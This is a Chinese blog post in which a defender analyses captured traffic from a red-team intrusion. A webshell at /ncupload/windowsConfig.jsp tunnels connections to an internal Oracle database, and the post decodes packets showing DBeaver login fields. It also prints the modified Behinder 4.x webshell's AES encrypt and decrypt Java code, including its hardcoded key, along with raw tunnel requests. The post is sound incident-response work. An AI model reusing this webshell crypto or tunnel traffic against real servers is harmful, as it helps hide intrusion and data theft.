User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQb5v9XJbF
Nnpo: 15CV15aAwJQTwJa3ZXg31Jg=
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server

图片

发现是针对10.159.23.55 1521 oracle端口进行连接,因为我本机并没有业务,理所当然的回显了die

图片

流量中回显的是开放并连接

GET /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server

我们继续进行追溯

图片

这次cmd进入了 TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql 这个功能

当然因为这个函数是用来读取socket中数据的,因此我们这里也是回显报错

int bytesRead = socketChannel.read(buf);

图片

接下来换成post数据

POST /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
Content-Length: 224

CszCCCkCCCCCCCtvC+gEECgEC+gUC+gg9UHY9KgtXaUllg8Zlgl95a2c+aKEEKn3dq/Vd7nVCCgyXLUllg8ZaUFyH3FE5lSc5+glUaH0YrUvYuQR1JQW15MjQXMR5rU4dRCEXCiEllHQuL3E+L8F5oaEXKSgHltwlgS+w5nO+oB3aaKCC+RQ+lla9US+9a+EEC+i1J1LCCgQ0gUllg8ZaL2gC+gE1+C=

切分后进入这个函数

图片

CtWP7tBSKiDnysT9hP9pa 应该就是读取我们的数据

我们将值转为hex输出出来看看

图片

00a7000006000000000003760101010401010101050101044854594b010d0d415554485f5445524d494e414c010707756e6b6e6f776e00010f0f415554485f50524f4752414d5f4e4d011515444265617665722032323f313f32203f204d61696e00010c0c415554485f4d414348494e45010f0f4445534b544f502d3746424e35514c00010808415554485f5049440104043132333400010808415554485f5349440101013100

放入winhex打开

图片

在这段中,可以发现是连接oracle,同时使用的是DBeaver数据库管理软件,

同时记录了我们连接的机器名字(一阵后怕,这个数据库连接工具害人不浅)


 AUTH_TERMINALunknown
 AUTH_PROGRAM_NM DBeaver 22?1?2 ? Main
 AUTH_MACHINE DESKTOP-7FBN5QL
 AUTH_PID   1234
 AUTH_SID 1

已经到我们的盲区了,不过可以猜测是socket和oracle数据库的交互,参考如下博文

https://blog.csdn.net/weixin_34112181/article/details/92664231

图片

图片

我们可以搜索到类似的案例

图片

跟随流量,我们继续前进

POST /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
Content-Length: 28

CE1CCCkCCCCCCC1GCKg0C+CEC+==

GET /ncupload/windowsConfig.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQ0FX
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server

图片

lYUNaGnRS2eaUhe pfmcKQ0FX 该函数的作用就是关闭连接

接下来没有什么独特的流量,重复连接 1521业务

GET /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Connection: keep-alive
Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
Content-Length: 339

CyCCCCgCCCCEyCg6XggRCyWW5ARCCCCECshCHRCCCC0ER+CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCQCCCQCCCCCCCC08gHltXao2+lg2y5JLh+aHgaol5aTLhaUFylgSX5LKSlgt+s98Q53tay5gKwJg3c9Bj1jB3t9ohagS9lXLit5Qis9oh+LSc5olXlUSg+lHEy98X9a+SsUE95Ln9+aLSHgF2kuY2zPCj1JMiyTQRyjEtYuH8YOULk9oh9gS5lX3Zuv4okqtZujohlcUaJLis9ohaLl9lo2XHlSc+a3Uyr8Lxr/VkvHPs9o4

流量包内容进行了一些修改,防止泄密

这个流量包解密出来是去连接数据库,使用账号密码

(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.0.0)(PORT=1521))(CONNECT_DATA=(CID=(PROGRAM=DBeaver 22?1?2 ? Metadata)(HOST=__jdbc__)(USER=1))(SERVICE_NAME=xxxxx)))

紧接着他去读取数据

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Sbxspawzq: CapFLueBCn2ZM
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 27 Jul 2022 10:18:56 GMT

2c
C0CCCCQCCCCEcR8EQCEWWKgCCCCCQcgECCCCCCCCCCC=
0

我们尝试对他数据进行解密,我们把他密文放在读取之中,让他自己在读取一遍(借鸡下蛋)

POST /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Connection: keep-alive
Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
Content-Length: 46

C0CCCCQCCCCEcR8EQCEWWKgCCCCCQcgECCCCCCCCCCC=

图片

得到一些数据,猜测是 连接数据库的返回信息

IBMPC/WIN_NT64-9.1.0

在一众的数据解密中,发现了oracle的版本信息,见下

GET /ncupload/windowsConfig.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Sbxspawzq: CapFLueBCn2ZM
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 27 Jul 2022 10:18:40 GMT

124
Ct6CCCkCCCCCCCgOCg205lEXw3nF52SclXkLw5oV19BKCU+XC+kCC+E9CKU9CKgC0qkXaR1EaRtqCKU5C3QXClQXaK1ECO+CCCERC9+yE+61CKK1E++UX+kFEKRUE+aUE+MUE+aUE+hUE+aUE++UERzQ00tIQLzQg91QgaOKHK0XC3+XYK1CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCFKkEC+gtC+gOC+gEC+gECuWWCKhXCKgCZKUWWKgUC+gWC+1OCCgXC+z0C+CEOCCX
0

有一份加密比较独特,怀疑是oracle连接之后的查询

POST /ncupload/windowsConfig.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
Content-Length: 3120

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
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Sbxspawzq: CapFLueBCn2ZM
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 27 Jul 2022 10:18:40 GMT

GET /ncupload/windowsConfig.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Sbxspawzq: CapFLueBCn2ZM
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 27 Jul 2022 10:18:41 GMT

2ac
09LCCCkCCCCCCCQCC+CECCgCCCC0CCQC0RCCCCRC0CCECCCCXCC1CChCCCCuCEzCC+CCCERCOCCECCCCO+CYCCgCCCCfCEhCC+CCCE6COKCECCCCICCzCCgCCCCnCELCC+CCCEBCIRCECCCCIKCZCCgCCCCRC0CCC+CCC0gCQ+CECCCC0RCsCCgCCCCwCC6CC+CCC0RCsCCECCCCs+C4CCgCCCE3CIaCC+CCCIRCxCCECCCEQRgPCCgCCCgJC91CC+CCC9+EFCCECCCEF+g2CCgCCCgqC9kCC+CCC9hEsRCECCCEsKgeCCgCCCg6C9KCC+CCC9LEw+CECCCEwRgVCCgCCCgDC9MCC+CCC5CE1CCECCCE1+giCCgCCCgjC5QCC+CCC51E1KCECCCEtCgLCCgCCCg3C5aCC+CCC5kEtRCECCCEtKg7CCgCCCgBC5RCC+CCC5oEc+CECCCEcKgGCCgCCCgMC5KCC+CCC5LEy+CECCCEyRgNCCgCCCgWC5MCC+CCCaCE+CCECCCE++UECCgCCCU0CaQCC+CCCa1E+KCECCCEHKUICCgCCCUQCaRCC+CCCaoE9+CECCCE9KUwCCgCCCUtCaLCC+CCCaBE5RCECCCE5KUyCCgCCCU+ClCCC+CCClgEa+CECCCEaRU9CCgCCCU5Cl1CC+CCCl+ElCCE
2ac
CCCEl+UlCCgCCCUrClkCC+CCClzElKCECCCErCUkCCgCCCUYCloCC+CCClhErRCECCCEuCUzCCgCCCUnClLCC+CCCrQEkRCECCCEkKUJCCgCCCUbCrzCC+CCCr6EfKCECCCEZCUMCCgCCCUSCuLCC+CCCuBEZRCECCCEZKUWCCgCCCOCCkCCC+CCCkgER+CECCCERRO0CCgCCCOXCk1CC+CCCk+E8CCECCCE8+OUCCgCCCOOCkkCC+CCCkzE8KCECCCEP+OFCCgCCCOsCkhCC+CCCk6EPKCECCCEJCO1CCgCCCOtCkLCC+CCCkBEJRCECCCEJKOyCCgCCCO+CYCCC+CCCYgEo+CECCCE2COaCCgCCCOlCYaCC+CCCYkE2RCECCCE2KOuCCgCCCOnCYLCC+CCCYBEbRCECCCEbKOZCCgCCCORCfCCC+CCCfgEh+CECCCEhROPCCgCCCOJCf1CC+CCCf+E4CCECCCE4+O2CCgCCCOqCfkCC+CCCfzE4KCECCCEpCOhCCgCCCO4CfoCC+CCCfhEpRCECCCEpKOeCCgCCCO/CfLCC+CCCfBEeRCECCCEeKODCCgCCCOKCdCCC+CCCdgE6+CECCCEK+IECCgCCCI0CzQCC+CCCzkEiRCECCCEiKIICCgCCCIQCzRCC+CCCzoEj+CECCCEjRIsCCgC
2ac
CCIwCz6CC+CCCzKETCCECCCET+ItCCgCCCIcCzBCC+CCCzMETKCECCCELRI9CCgCCCI5Cn1CC+CCCn+E3CCECCCE3+IlCCgCCCIrCnkCC+CCCnzE3KCECCCEvCIkCCgCCCIYCnoCC+CCCnhEvRCECCCEvKIdCCgCCCIzCnKCC+CCCnLE7+CECCCE7RIxCCgCCCIZCnMCC+CCCxCEBCCECCCEB+I8CCgCCCIPCxQCC+CCCx1EBKCECCCEACIoCCgCCCI2CxaCC+CCCxkEARCECCCEmRIpCCgCCCIeCx6CC+CCCxKEGCCECCCEG+I/CCgCCCIVCxBCC+CCCxMEGKCECCCEMCIKCCgCCCIjCZQCC+CCCZ1EMKCECCCESCILCCgCCCI3CZaCC+CCCZkESRCECCCEW+ISCCgCCCINCZBCC+CCCRg0C+CECCC0CRQ0CCgCCCQgCR+CC+CCCRa0E+CECCC0ERQOCCgCCCQICRzCC+CCCRR00CCECCC00+QFCCgCCCQsCRhCC+CCCR600KCECCC0XCQ1CCgCCCQtCRLCC+CCCRB0XRCECCC0XKQyCCgCCCQ+C8CCC+CCC8g0g+CECCC0gRQ9CCgCCCQ5C81CC+CCC8+0UCCECCC0U+QlCCgCCCQrC8kCC+CCC8z0UKCECCC0OCQkCCgCCCQYC8oCC+CC
2ac
C8h0ORCECCC0OKQdCCgCCCQzC8KCC+CCC8L0I+CECCC0IRQxCCgCCCQZC8MCC+CCCPCCCCQ8CCC0QRCCCP1CCCQoCCC0F+CCCPkCCCQbCCC0sCCCCPoCCCQpCCC0sKCCCPKCCCQ/CCC0wRCCCPMCCCQKCJCCC+CCCJgCCCQjCCC01KQTCCgCCCQLCJ+CC+CCCJa0t+CECCC0tRCCCJzCCCQBCCC0c+CCCJhCCCQGCCC0yCQMCCgCCCQSCJLCC+CCCJB0yRCECCC0yKQWCCgCCCFCCoCCC+CCCogCCCF0CoQCC+CCCo10+KCECCC0HCFgCCgCCCFUCoaCC+CCCok0HRCECCC0HKFICCgCCCFQCoRCC+CCCoo09+CECCCCCKC0CChCCCCgCCQC0RCCCCaCC+CECCCCERC0CChCCCCICCQC0RCCCCoCC+CECCCCX+CCCCBCCCCyCEzCC+CCCECCCCCHCCCCgRCCCE1CCCCaCCCCU+CCCEkCCCCbCIRCC+CCCXhCCCEgCCQC0RCCCgaCCCEOCCCC9RCCCgKCCCEdCCQC0RCCCUBCC+CECCCCuKCuCCgCCCERCOCCC+CCCOgCkCCECCCCYCEoCCgCCCE2COaCC+CCCOkCYRCECCCCfCCCCOoCCCEpCOhCC+CCCOKCd+CECCCCd+E/CCgCCCEVCOMC
18c
C+CCCOMCdKCECCCCzCEKCCgCCCEiCIgCC+CCCIQCzRCECCCCzKETCCgCCCELCOkCC+CCCIkCCCE7CCCCx+CCCIhCCCEGCCCCPCCCCFQCoRCECCCCoKCCCFRCCRCsCCCCq+C0CChCCC0fCCQC0RCCCF6CC+CECCCCbCC1CChCCC06CCQC0RCCCwQC6RCECCCC6K0TCCgCCC0LCw+CC+CCCwaC/+CECCCC/R0vCCgCCC07CwzCC+CCCwRCXCCsCCCCV+CCCwhCCC0GCCCCDCCCCwLCCC0NCCCCDKCCC1CCCCXXCICCC+CCC1+Cz+CECCCCi+EjCCgCCCX+CtCCC+CCCtgCCCXbCczCC+CCCcRCAKCECCCCm+X4CCgCCCXiCOLCC+CCCR1CCCCC
0

这份流量提供给大家,小子不才,对该流量解密始终没有头绪

在后续流量中呢,有一些可以解密的,

包括执行oracle之后,有一些时间回显

图片

图片

如下是该回显的发送流量


AUTH_PASSWORD@@B6

AUTH_TERMINALunknown
AUTH_SESSKEY``29342770E5CAUTH_PROGRAM_NMDBeaver 22?1?2 ? Metadata
AUTH_MACHINEDESKTOP-7FBN5QL
AUTH_ALTER_SESSIONddALTER SESSION SET TIME_ZONE='Asia/Shanghai' NLS_LANGUAGE='SIMPLIFIED CHINESE' NLS_TERRITORY='CHINA'

最后在读取了我们22年至21年的数据之后,我们将服务器进行了隔离,整个攻击也戛然而止

图片

图片

0x04 Behinder 4.x

我们根据第一篇,第二篇他木马的样本
修改了冰蝎4.0系列的加解密

图片

加密

private String parseByte2HexStr(String buf) throws Exception {
    StringBuilder sb = new StringBuilder();
    char[] enChar = buf.toCharArray();
    for (int i=0; i<enChar.length; i++) {
       char c = enChar[i];
       sb.append(Integer.toHexString(c));
    }
    return sb.toString();
 }

 private byte[] base64Decode(String str) {
    byte[] value = null;
    try {
       Class base64 = Class.forName("java.util.Base64");
       Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
       value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{str.getBytes()});
    } catch (Exception exception) {
       try {
          Class base64 = Class.forName("sun.misc.BASE64Decoder");
          Object decoder = base64.newInstance();
          value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{str});
       } catch (Exception exception1) {
       }
    }
    return value;
 }

 private byte[] Encrypt(byte[] data) throws Exception
 {
    javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q=="), "AES");
    javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES");// "算法/模式/补码方式"
    cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
    byte[] encrypted = cipher.doFinal(data);
    Class baseCls;
    String x;
    try
    {
       baseCls=Class.forName("java.util.Base64");
       Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
       encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
       x = parseByte2HexStr(new String(encrypted));
    }
    catch (Throwable error)
    {
       baseCls=Class.forName("sun.misc.BASE64Encoder");
       Object Encoder=baseCls.newInstance();
       String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
       result=result.replace("\n", "").replace("\r", "");
       x = parseByte2HexStr(result);
    }
    return x.getBytes();
 }

解密


 private byte[] base64Decode(String str) {
    byte[] value = null;
    try {
        Class base64 = Class.forName("java.util.Base64");
        Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
        value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{str.getBytes()});
    } catch (Exception exception) {
        try {
            Class base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{str});
        } catch (Exception exception1) {}
    }
    return value;
}
private byte[] Decrypt(byte[] data) throws Exception
{
    String contentString = new String(data, "UTF-8");
    StringBuilder deStr = new StringBuilder();
    for(int i=0; i < contentString.length(); i=i+2){
        String str2 = contentString.substring(i,i+2);
        char char2 = (char)(Integer.parseInt(str2, 16));
        deStr.append(char2);
    }
    javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
    c.init(javax.crypto.Cipher.DECRYPT_MODE, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q=="),"AES"));
    return c.doFinal(base64Decode(deStr.toString()));
}

文章首发于:奇安信攻防社区

https://forum.butian.net/share/1853

0x05 总结

在这次骑马与砍杀之中,以我们的完败作为结束,既在意料之外,又在情理之中。

攻防博弈本是逆天而行,面对潮水般的攻击,需要针对性的对每一份流量进行解密,又谈何容易。

这次攻击队的攻击速度,攻击质量都刷新了我对rt的概念,用这份分析来告慰数据的在天之灵(QAQ)。

0x06 致谢

以下师傅不分先后,非常感谢他们能在百忙之中,给菜弟弟提供帮助

  • f1ashine

  • h0ld1rs

  • 湮灭

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。